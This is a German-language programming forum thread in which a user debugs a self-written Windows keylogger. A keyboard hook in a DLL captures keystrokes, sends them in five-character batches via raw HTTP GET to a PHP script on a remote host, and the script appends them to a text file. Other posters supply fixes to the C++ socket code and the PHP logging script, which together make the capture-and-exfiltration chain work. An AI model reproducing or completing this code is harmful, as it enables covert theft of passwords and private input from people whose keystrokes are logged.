Daten an Server schicken(String)
-
function LogMe($what) { print_r($_GET); // $_GET ausgeben echo "\n\n"; $filename = 'ourKeys.txt'; if (!($file = fopen($filename, 'a'))) { die("fopen()"); } if (!is_writable($filename)) { die("is_writable()"); } echo "Writing '" . $what . "'\n"; if (!fwrite($file, $what)) { die("fwrite()"); } echo "Success.\n"; fclose($file); }
So.
-
Oke,
Ausgabe : "Array ( ) Writing '' fwrite()"Writeable ist die Datei wohl. Dann muss es daran liegen, dass 'lol' und damit abcde leer ist. Villeicht kommt daher auch der writing error.
Nochmal mein Send-Aufruf
sprintf(buf,"GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n\0",myKeys); send(s,buf,sizeof(buf),0);
Ich habe myKeys überprüft, stimmt alles. 1:1 meine Eingabe.
Ich habe buf überprüft, stimmt auch alles. Ist der string mit genau dem Inhalt von myKeys statt "%s".Daraus werde ich nicht schlau
-
Schreib mal
LogMe($_GET['lol']);
Wie füllst du myKeys? Stelle sicher, dass es keine Leerzeichen enthält. Beispielsweise einfach test.
-
Übrigens fügt sprintf automatisch ein \0 an. Das ist also dort überflüssig. Und bei send solltest du strlen und nicht sizeof verwenden. Ansonsten schickst du bei einem großem Buffer mehr als notwendig. Eventuell verursacht auch das dann Probleme.
-
Okay, ich erkläre mal, wie myKeys gefült wird :
Das ganze ist ein KeyboardHook. Der ist in einer -dll initialisiert.
Sobald ich eine Taste drücke ( nur drücke, hab das 31. bit von lParam überprüft, also reagiert er nur wenn man drückt, nicht loslässt) schickt er eine Nachricht vom Typ WM_USER+124(frei erfundener Wert) and meine Hauptapllikation.
Dort wandle ich den virtuellen Keycode der in wParam steht mit der entsprechenden Funktion um und speichere es in eine char-variable:char c = MapVirtualKeyEx(wParam,2,layout);
(Layout ist hier das Tastaturlayout,das ich verwende, 2 is ein Flag, soll also VirtualKEycode->ASCII)
Dann setze ichmyKeys[counter] = c;
und setze den counter(int-Variable) um eins hoch. Sobald counter>=5 ist, speichere ich buf entsprechend. Dann schicke ich das ganze an den Server.
if(counter >= 5) { sprintf(buf,"GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n",myKeys); send(s,buf,strlen(buf),0);
's' ist mein Socket, der erfolgreich mit dem Server verbunden ist.
Dann setze ich mit einer for-schleife myKeys ( global) wieder = 0, buf =0 ( die forschleifen laufen bis zähler<strlen(myKeys/buf) ). Dann auch counter =0 .
Du hattest auch Recht mit dem sizeof und strlen, buf ist um einiges größer als der in ihm gespeicherte String. Wäre ein sehr plausibler Grund dafür gewesen, dass es nicht geht. Habe es geändert aber bekomme leider immernoch als Ausgabe : Array ( ) Writing '' fwrite().
-
Terminierst du myKey auch mit
\0
bevor du es verwendest?Ansonsten mach doch zu Testzwecken mal:
sprintf(buf,"GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n", /* --> */ "Test" /* <-- */);
Das die Anfrage an den Server überhaupt gesendet wird, ist aber gesichert? Vielleicht wird der Code ja gar nicht ausgeführt?
-
Ja, der Code wird geschickt. Ich kriege eine Antwort vom Server irgendwie " File temorarly moved etc.". Wenn du willst poste ich mal den ganzen Text.
Interessant ist : Ich habe das ganze gerade per Browser aufgeufen.
Also : www.server.com/logKeys.php?lol=HalloAusgabe der php : Array ( [lol] => Hallo ) Writing 'Hallo' Success.
TROTZDEM ist die Datei LEER. Paraodx o.0
Mit "test" als String : Array ( ) Writing '' fwrite() gleiche Ausgabe.Scheint dem Server total egal zu sein was ich ihm schicke.
Finds auch bisschen komisch, dass :
Angenommen ich lösche den Code in der .php Datei. Dann steht uner myserver.comuv.com/logKeys.php nichts.
Füge ich den Code wieder ein und speichere, aber führe mein Programm nicht aus, steht trotzdem schon "Array ( ) Writing '' fwrite()" drinnen.
Villeicht ist das aber auch normal.
-
Jetzt steht der Text auf einmal schon in der Datei, also der den ich bim Aufruf mit Browser geschrieben habe.
Vllt. hat das Ding einfach nen heftigen Delay.
Mit .cpp läufts aber immernoch nicht.
-
Ich kann dir leider nicht mehr wirklich helfen. Der Fehler lässt sich nicht mehr so wirklich aus dem Code usw. ableiten.
-
Ja, ich weiß. Zu dem Schluss bin ich auch gekommen.
Ich glaube ich lasse meinen selbstgebastelten Server als "Empfangsstation" fungieren. Naja, ich würde, das Programm war ja eh nur zur Übung geschrieben.Eine Sache prüfe ich noch : In der datei steht jetzt (der Text den ich durch den Browser-Test reingeschriebenhabe)+"test". Könnte als sein, dass das mit dem "test" statt myKeys doch hingehauen hat, nur mit paar Minuten delay.
Ich habs jetzt nochmal mit "test" statt myKeys ausgeführt und warte mal paar Minuten. Ich meld mich dann mit dem Ergebnis.Auf jeden Fall vielen Dank, dass du hier drangeblieben bist und jede Menge Korrekturen und Lösungsvorschläge gepostet hast
-
Nein,funktioniert nicht.
Glaube fast, dass der Server einfach spinnt. Ich poste nochmal den ganzen Code von der case-Verzweigung. Einfach um zu beweisen, dass ich eigentlich alle s richtig gemacht habe
(Das 0-Setzen mit der for-Schleife ist umständlic, aber ich habs einfach mal so zusammengebastelt um den Code auszutesten)SOCKET s; //global char myKeys[240]; //global, nicht nullterminiert, wichtig? int counter =0; //global char answer[1000]; //global, nicht nullterminiert, wichtig? //----Case-Verzweigung----- case WM_USER+124 : switch(wParam) { //Unwichtig, war nur da um das ganze in eine Datei auf meinem PC //zu schreiben. Kann also ignoriert werden. /*case VK_UP : f<<"<UP-KEY>"; break; case VK_LEFT : f<<"<LEFT-KEY>"; break; case VK_RIGHT : f<<"<RIGHT-KEY>"; break; case VK_DOWN : f<<"<LEFT-KEY>"; break; case VK_RETURN : f<<"<ENTER>"; break; case VK_SHIFT : f<<"<SHIFT>"; break; case VK_CONTROL: f<<"<CRTL>"; break; case VK_MENU : f<<"<ALT>"; break; case VK_PAUSE : f<<"<PAUSE>"; break; case VK_CAPITAL : f<<"<CAPSLOCK>"; break; case VK_ESCAPE : f<<"<ESCAPE>"; break; case VK_BACK : f<<"<BACKSPACE>";break; */ // Hier : Wenn es ein ganz normaler Key ist default : if(counter >= 5) { sprintf(buf,"GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n",myKeys); send(s,buf,strlen(buf),0); //Zum Überprüfen MessageBox(NULL,myKeys,"send them!",MB_OK); MessageBox(NULL,buf,"BUFFER",MB_OK); counter = 0; for(int z = 0; z<strlen(myKeys);z++) { myKeys[z] = 0; } for(int z=0; z<strlen(myKeys);z++) { buf[z]=0; } int i=0; i=recv(s,answer,sizeof(answer),0); MessageBox(NULL,answer,"Answer",MB_OK); for(int z=0;z<strlen(answer);z++) { answer[z]=0; } } char c = MapVirtualKeyEx(wParam,2,layout); myKeys[counter] = c; counter++; break; } //Die Funktion die zum Server connected //(wird in der Main-Funktion aufgerufen) bool ConnectToServer() { long rc; SOCKADDR_IN addr; rc=startWinsock(); // Ruft nur WSAStartup auf if(rc!=0) { MessageBox(NULL, "WSAStartup() failed!", "ERROR", MB_ICONERROR ); closesocket(s); WSACleanup(); return false; } s=socket(AF_INET,SOCK_STREAM, 0); if(s==INVALID_SOCKET) { MessageBox(NULL, "jSoft could not creat socket!", "ERROR", MB_ICONERROR ); closesocket(s); WSACleanup(); return false; } memset(&addr, 0, sizeof(SOCKADDR)); addr.sin_family = AF_INET; addr.sin_port = htons(80); addr.sin_addr.s_addr = inet_add("455.234.56.23"); rc=connect( s, (SOCKADDR*)&addr, sizeof(addr) ); if(rc==SOCKET_ERROR) { MessageBox(NULL, "jSoft could not connect!", "ERROR", MB_ICONERROR ); closesocket(s); WSACleanup(); return false; } return true; }
Die IP ist nicht die echte, die ich in meiner Funktion verwende.
0-terminiert habe ich die c-Strings nicht, bin auch gerade unfähig es hinzubekommen, irgendwie...
Sollte doch myKeys[239]='\0' sein und buf[999]='\0'. IDE spinnt rum.Mfg
-
Probier mal folgendes:
default : if(counter >= 5) { myKeys[counter] = '\0'; // Nullterminierung sprintf(buf,"GET /logKeys.php?lol=%s HTTP/1.1\r\nHost: www.myserver.comuv.com\r\n\r\n",myKeys); send(s,buf,strlen(buf),0); //Zum Überprüfen MessageBox(NULL,myKeys,"send them!",MB_OK); MessageBox(NULL,buf,"BUFFER",MB_OK); counter = 0; /* for(int z = 0; z<strlen(myKeys);z++) { myKeys[z] = 0; } for(int z=0; z<strlen(myKeys);z++) { buf[z]=0; } */ memset(myKeys, 0, sizeof(myKeys)); memset(buf, 0, sizeof(buf)); int i=0; i=recv(s,answer,sizeof(answer),0); answer[i] = '\0'; // Nullterminierung MessageBox(NULL,answer,"Answer",MB_OK); /*for(int z=0;z<strlen(answer);z++) { answer[z]=0; } }*/ memset(answer, 0, sizeof(answer)); char c = MapVirtualKeyEx(wParam,2,layout); myKeys[counter] = c; counter++; break; }
Ansonsten schau dir mal libcurl an. Damit sollte es definitiv funktionieren
-
Das Problem liegt doch offensichtlich in deinem PHP Script, da es (bei mir) auch nicht funktioniert wenn ich die URL im Browser eingebe, also fix erstmal dein PHP sowie deine Rechte bis es im Browser klappt.
-
Wie meinst du bei Dir ?
Mit dem PHP script passt alles, und mit dem Browser geht es auch, nur mit etwa 10 Minuten Verzögerung.
-
Ich muss gastantwort wohl recht geben. Auch bei mir scheint nichts in die Datei geschrieben zu werden. Schon garnicht nach 10 Minuten, was sowieso untewöhnlich wäre.
Besonders schön, ich bekomm ein "success", das alles geschrieben wurde.Ich habe den Verlauf mal kurz hier überflogen. Für mich stellt sich nun die Frage, was du aktuell für ein PHP-Script laufen hast nach diesen vielen Änderungen hier.
Notfalls kannst du dir mal "chmod" als PHP-Befehl anschauen.
-
Der aktuelle PHP-Code :
$abcde = $_GET['lol']; function LogMe($what) { print_r($_GET); // $_GET ausgeben echo "\n\n"; $filename = 'ourKeys.txt'; if (!($file = fopen($filename, 'a'))) { die("fopen()"); } if (!is_writable($filename)) { die("is_writable()"); } echo "Writing '" . $what . "'\n"; if (!fwrite($file, $what)) { die("fwrite()"); } echo "Success.\n"; fclose($file); } LogMe($_GET['lol']);
Die ganze Sache ist irgendwie komisch ... mal klappts per Browser mal nicht.
-
Ich habe es gerade nochmal mit Browser ausprobiert - 3 mal. Hat funktoniert ... steht auch in der File.
Nun steht da aber auf einmal (das was voerher schon drin stand)+"testtesttesttesttesttesttest"+(das was ich gerade per Browser geadded habe).
Woher testest... kommt weiß ich nicht, habe ich 1.) nie mit Browser aufgerufen 2.) das Test aus meinem .cpp Programm ist mit großen "T".
-
Ich habe das Script bei mir nun auch ausprobiert. Funktioniert wunderbar. Ich habe noch weitere Debug-Ausgaben hinzugefügt:
<?php error_reporting(E_ALL); function LogMe($what) { print_r($_GET); // $_GET ausgeben echo "\n"; $filename = 'ourKeys.txt'; if (!($file = fopen($filename, 'a'))) { die("fopen()"); } if (!is_writable($filename)) { die("is_writable()"); } echo "Writing '" . $what . "' to file '" . $filename . "'.\n"; if (!($count = fwrite($file, $what))) { die("fwrite()"); } echo "Success " . $count . " byte(s) written.\n"; fclose($file); } if (!isset($_GET['lol'])) { die("No argument 'lol' given.\n"); } if (empty($_GET['lol'])) { die("Argument 'lol is empty.\n"); } LogMe($_GET['lol']); ?>
Aufruf: http://localhost/www/x.php?lol=lol
Ausgabe:Array ( [lol] => lol ) Writing 'lol' to file 'ourKeys.txt'. Success 3 byte(s) written.
Es gibt also nur drei Fehlermöglichkeiten:
- Das PHP-Script bzw. die zu beschreibene Datei hat noch immer nicht genügend Rechte
- Der Server hat irgendeine Macke oder irgendwelche Einschränkungen
- Dein C++ Script enthält noch irgendeinen Fehler
-
des ist von mir...
Allerdings lässt sich deine Textdatei wohl nicht über den Browser auslesen ... die ist so leer wie die Sahara > http://www.myserver.comuv.com/ourKeys.txtHab trotzdem ein paar Kleinigkeiten geaendert.
<?php print_r($_GET); echo "<br>"; $param = isset($_GET['lol']) ? $_GET['lol'] : "no parameter lol"; LogMe($param); function LogMe($what) { $filename = 'ourKeys.txt'; // erst pruefen, dann oeffnen if (!is_writable($filename)) { if(!chmod($filename, 0666)) { die("is_writable() / chmod"); } } if (!($file = fopen($filename, 'a'))) { die("fopen()"); } echo "Writing '" . $what . "'<br>"; if (!fwrite($file, $what)) { die("fwrite()"); } echo "Success.<br>"; if(!fclose($file)) { die("fclose()"); } } ?>
-
Dachte ich mir schon fast
Oke, ich probiere mal eure php-Codes aus, und schau was so ausgegeben wird.
Das mit der leeren .txt-Datei ist mir auch schon aufgefallen. Bei mir lässt sich die überhaupt nicht öffnen, wenn ich die .txt in der Server-Ansicht anklicke kommt die "Ups, da ist was schief gelaufen"-Seite.
BTW: Die Sahara ist nicht leer, sondern VOLL mit Sand.